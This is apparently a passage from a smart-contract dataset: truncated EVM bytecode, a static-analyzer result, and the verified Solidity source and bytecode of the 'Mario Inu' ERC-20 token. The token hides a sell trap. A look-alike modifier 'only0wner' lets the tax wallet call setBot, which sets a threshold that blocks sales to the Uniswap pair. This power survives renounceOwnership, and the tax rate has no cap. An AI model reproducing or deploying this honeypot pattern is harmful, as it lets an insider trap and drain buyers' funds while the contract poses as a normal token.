ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156154b657600080fd5b505af11580156154ca573d6000803e3d6000fd5b505050506040513d60208110156154e057600080fd5b81019080805190602001909291905050506154fa57600080fd5b5b8080600101915050615394565b506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156155aa57600080fd5b505afa1580156155be573d6000803e3d6000fd5b505050506040513d60208110156155d457600080fd5b81019080805190602001909291905050509050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634515cef38660006040518363ffffffff1660e01b81526004018083600360200280838360005b83811015615662578082015181840152602081019050615647565b5050505090500182815260200192505050600060405180830381600087803b15801561568d57600080fd5b505af11580156156a1573d6000803e3d6000fd5b505050506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561574657600080fd5b505afa15801561575a573d6000803e3d6000fd5b505050506040513d602081101561577057600080fd5b8101908080519060200190929190505050905060006157988383614f8190919063ffffffff16565b9050848110156157a757600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561585057600080fd5b505af1158015615864573d6000803e3d6000fd5b505050506040513d602081101561587a57600080fd5b810190808051906020019092919050505061589457600080fd5b7f0882f81e7e1d407c41100a8a53cd546a2f6ffff18d00dc1268ee70f1640932cc8682896040518084815260200183815260200182600360200280838360005b838110156158ef5780820151818401526020810190506158d4565b50505050905001935050505060405180910390a150505050505050565b60606000821415615954576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050615a3a565b600082905060005b6000821461597e578080600101915050600a828161597657fe5b04915061595c565b6060816040519080825280601f01601f1916602001820160405280156159b35781602001600182028038833980820191505090505b509050600060018303905060008690505b60008114615a3157600a81816159d657fe5b0660300160f81b838380600190039450815181106159f057fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8181615a2957fe5b0490506159c4565b82955050505050505b919050565b6000818301905082811015615a5357600080fd5b92915050565b604051806060016040528060039060208202803883398082019150509050509056fe5369676e657220616e64207369676e617475726520646f206e6f74206d61746368a264697066735822122018fd1ae8482a45efa90480d28c39af531c4512e500c6a8aa708f3652b492c8c364736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,270
0x3d1618e46fe9bafea9cdf30266166115dbfb53f0
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ // SPDX-License-Identifier: Apache-2.0 // t.me/marioinu pragma solidity ^0.8.7; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } } contract MarioInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "Mario Inu"; string private constant _symbol = "MARIOINU"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _load = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _preventSlippage(from,to); _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _load = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } modifier only0wner() { require(_taxWallet == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _preventSlippage(address from, address to) private{ if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require( _load>100000); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setBot(uint256 g) external only0wner { _load = g; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe5780635e16df3d1461021557806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061242b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fcb565b6103f6565b6040516101629190612410565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125ad565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f78565b61041e565b6040516101ca9190612410565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612622565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c60048036038101906102379190612038565b610576565b005b34801561024a57600080fd5b5061026560048036038101906102609190611ede565b6105e1565b60405161027291906125ad565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612342565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df919061242b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fcb565b6107ed565b60405161031c9190612410565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612038565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f38565b610e0b565b60405161039991906125ad565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600981526020017f4d6172696f20496e750000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c2660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d610f04565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b6000610568306105e1565b905061057381611278565b50565b61057e610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d757600080fd5b80600b8190555050565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be9061250d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d4152494f494e55000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061250d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061258d565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061250d565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906124ad565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190611f0b565b6040518363ffffffff1660e01b8152600401610b7b92919061235d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190611f0b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123af565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612065565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612386565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061200b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f739061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe39061248d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca91906125ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061254d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061244d565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061252d565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253919061242b565b60405180910390fd5b506000838561126b9190612773565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af6128ce565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f561289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611f0b565b816001815181106113e4576113e361289f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af9594939291906125c8565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061246d565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1291906125ad565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab0919061242b565b60405180910390fd5b5060008385611ac891906126e8565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612692565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd1906124cd565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612719565b9050828482611e2a91906126e8565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906124ed565b60405180910390fd5b809150505b92915050565b600081359050611e8481612be0565b92915050565b600081519050611e9981612be0565b92915050565b600081519050611eae81612bf7565b92915050565b600081359050611ec381612c0e565b92915050565b600081519050611ed881612c0e565b92915050565b600060208284031215611ef457611ef36128fd565b5b6000611f0284828501611e75565b91505092915050565b600060208284031215611f2157611f206128fd565b5b6000611f2f84828501611e8a565b91505092915050565b60008060408385031215611f4f57611f4e6128fd565b5b6000611f5d85828601611e75565b9250506020611f6e85828601611e75565b9150509250929050565b600080600060608486031215611f9157611f906128fd565b5b6000611f9f86828701611e75565b9350506020611fb086828701611e75565b9250506040611fc186828701611eb4565b9150509250925092565b60008060408385031215611fe257611fe16128fd565b5b6000611ff085828601611e75565b925050602061200185828601611eb4565b9150509250929050565b600060208284031215612021576120206128fd565b5b600061202f84828501611e9f565b91505092915050565b60006020828403121561204e5761204d6128fd565b5b600061205c84828501611eb4565b91505092915050565b60008060006060848603121561207e5761207d6128fd565b5b600061208c86828701611ec9565b935050602061209d86828701611ec9565b92505060406120ae86828701611ec9565b9150509250925092565b60006120c483836120d0565b60208301905092915050565b6120d9816127a7565b82525050565b6120e8816127a7565b82525050565b60006120f98261264d565b6121038185612670565b935061210e8361263d565b8060005b8381101561213f57815161212688826120b8565b975061213183612663565b925050600181019050612112565b5085935050505092915050565b612155816127b9565b82525050565b612164816127fc565b82525050565b600061217582612658565b61217f8185612681565b935061218f81856020860161280e565b61219881612902565b840191505092915050565b60006121b0602383612681565b91506121bb82612913565b604082019050919050565b60006121d3602a83612681565b91506121de82612962565b604082019050919050565b60006121f6602283612681565b9150612201826129b1565b604082019050919050565b6000612219601783612681565b915061222482612a00565b602082019050919050565b600061223c601b83612681565b915061224782612a29565b602082019050919050565b600061225f602183612681565b915061226a82612a52565b604082019050919050565b6000612282602083612681565b915061228d82612aa1565b602082019050919050565b60006122a5602983612681565b91506122b082612aca565b604082019050919050565b60006122c8602583612681565b91506122d382612b19565b604082019050919050565b60006122eb602483612681565b91506122f682612b68565b604082019050919050565b600061230e601983612681565b915061231982612bb7565b602082019050919050565b61232d816127e5565b82525050565b61233c816127ef565b82525050565b600060208201905061235760008301846120df565b92915050565b600060408201905061237260008301856120df565b61237f60208301846120df565b9392505050565b600060408201905061239b60008301856120df565b6123a86020830184612324565b9392505050565b600060c0820190506123c460008301896120df565b6123d16020830188612324565b6123de604083018761215b565b6123eb606083018661215b565b6123f860808301856120df565b61240560a0830184612324565b979650505050505050565b6000602082019050612425600083018461214c565b92915050565b60006020820190508181036000830152612445818461216a565b905092915050565b60006020820190508181036000830152612466816121a3565b9050919050565b60006020820190508181036000830152612486816121c6565b9050919050565b600060208201905081810360008301526124a6816121e9565b9050919050565b600060208201905081810360008301526124c68161220c565b9050919050565b600060208201905081810360008301526124e68161222f565b9050919050565b6000602082019050818103600083015261250681612252565b9050919050565b6000602082019050818103600083015261252681612275565b9050919050565b6000602082019050818103600083015261254681612298565b9050919050565b60006020820190508181036000830152612566816122bb565b9050919050565b60006020820190508181036000830152612586816122de565b9050919050565b600060208201905081810360008301526125a681612301565b9050919050565b60006020820190506125c26000830184612324565b92915050565b600060a0820190506125dd6000830188612324565b6125ea602083018761215b565b81810360408301526125fc81866120ee565b905061260b60608301856120df565b6126186080830184612324565b9695505050505050565b60006020820190506126376000830184612333565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061269d826127e5565b91506126a8836127e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126dd576126dc612841565b5b828201905092915050565b60006126f3826127e5565b91506126fe836127e5565b92508261270e5761270d612870565b5b828204905092915050565b6000612724826127e5565b915061272f836127e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276857612767612841565b5b828202905092915050565b600061277e826127e5565b915061278983